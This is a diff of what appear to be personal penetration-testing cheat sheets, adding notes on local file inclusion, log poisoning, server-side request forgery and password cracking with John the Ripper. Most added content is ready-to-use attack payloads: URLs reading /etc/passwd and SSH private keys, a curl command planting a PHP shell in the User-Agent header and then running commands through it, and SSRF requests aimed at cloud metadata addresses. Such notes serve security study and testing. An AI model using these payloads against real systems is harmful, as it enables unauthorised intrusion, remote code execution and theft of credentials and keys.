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exploit/web/local_file_inclusion.md

@@ -1,11 +1,12 @@
 # Local File Inclusion
-To test for LFI what we need is a parameter on any URL or any other input fields like request body etc. For example, if the website is tryhackme.com then a parameter in the URL can look like `https://tryhackme.com/?file=robots.txt`. Here file is the name of the parameter and `robots.txt` is the value that we are passing (include the file robots.txt).
+To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like `https://test.com/?file=robots.txt`, the file may be changed.
 
 ## Usage
 
-* Exploit URL parameter
+* Exploit URL parameter by including other files.
 ```
 http://example.com/home?page=about.html
+http://example.com/home?page=/etc/passwd
 ```
     * changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
     ```
@@ -13,7 +14,17 @@ http://example.com/home?page=about.html
     ```
     or
     ```
-    http://example.com/home?page=../../../../home/<username>/.ssh/id_rsa
+    http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
     ```
 
-
+### Log Poisoning
+* Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.
+* `www-data` needs read & write permisson in order to do so.
+* Include php code into the `User-Agent` header of the HTTP request. For example a GET parameter to deliver system commandsas follows
+```sh
+curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
+```
+    * Follow up with a request to
+    ```HTTP
+    curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
+    ```

exploit/web/php/php_user_agent_rce.md

@@ -1,5 +1,5 @@
 # RCE inside HTTP Request
-
+* a.k.a. Log Poisoning
 * User Agent can be filled with php code
 ```sh
 GET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1

exploit/web/ssrf/ssrf.md

@@ -1,20 +1,30 @@
 # Server Side Request Forgery (SSRF)
-is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls.
+is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.
 
 ## Usage
 
 ### Sanity Test Service
 Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.
-```
+```URL
 http://127.0.0.1:3306
 http://localhost:5432
 http://0.0.0.0:53
 ```
+
 * IPv6
-```
+```URL
 http://[::]:3306
 http://:::3006
 ```
+
+* Cloud info in Link Local IP range `169.254.0.0/16`
+```URL
+169.254.169.254 --> AWS info
+169.254.169.253 --> DNS AWS VPC
+169.254.169.123 --> Stratum 3 NTP
+127.0.0.1:53    --> systemd DNS
+```
+
 * [Changing input format into hex or encoded](https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72)
 
 ### Reading files
@@ -22,5 +32,32 @@ http://:::3006
 file:///etc/passwd
 ```
 
-### Tools
+### Request Forgery through GET parameters
+* Request app server through parameter 
+```sh
+http://<ssrf-Server>/?url=http://<AppServer>/secret/url
+```
+* Request remote resources, or path traversal on remote resource
+```sh
+http://<ssrf-Server>/?url=/item?id=42
+http://<ssrf-Server>/?url=../../etc/passwd
+```
+* Request subdomain URL and cut following unnecessary parameters through `&x=&id=42`. Parameter `x` does not exist. So, it will be ignored
+```sh
+http://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42
+```
+
+### HTML Form 
+User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.
+```HTML
+<input type="radio" name="avatar" value="assets/avatars/6.png">
+```
+This may be used for path traversal
+```HTML
+<input type="radio" name="avatar" value="x/../private">
+```
+Check return value of the form for result.
+
+## Tools
 * [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file)
+* https://requestbin.com

hashes/password_cracking/john.md

@@ -1,8 +1,20 @@
 # John The Ripper
 
+* [Formats](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
 # Usage 
 
 * Example
-```
+```sh
 john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=raw-sha256 --fork=2
 ```
+
+## Declaring Structure
+* List subformat
+```sh
+john --list=subformats
+```
+```sh
+john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ./hash.txt --format=dynamic_85 --fork=2
+```
+